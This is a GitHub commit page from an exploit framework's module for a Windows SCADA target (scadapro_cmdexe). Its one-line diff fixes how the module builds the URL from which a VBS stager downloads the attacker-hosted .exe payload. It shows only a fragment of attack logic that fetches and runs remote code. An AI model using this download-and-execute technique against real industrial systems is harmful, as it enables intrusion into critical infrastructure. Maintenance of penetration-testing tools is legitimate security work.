Skip to content

Commit b43522a

Browse files
committed
Fix scadapro_cmdexe datastore
1 parent a12d124 commit b43522a

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/windows/scada/scadapro_cmdexe.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -103,7 +103,7 @@ def exploit
103103
end
104104

105105
payload_src = lhost
106-
payload_src << ":" << datastore['SRVPORT'] << datastore['URIPATH'] << @payload_name << ".exe"
106+
payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"
107107

108108
stager_name = rand_text_alpha(6) + ".vbs"
109109
stager = build_vbs(payload_src, stager_name)

0 commit comments

Comments
 (0)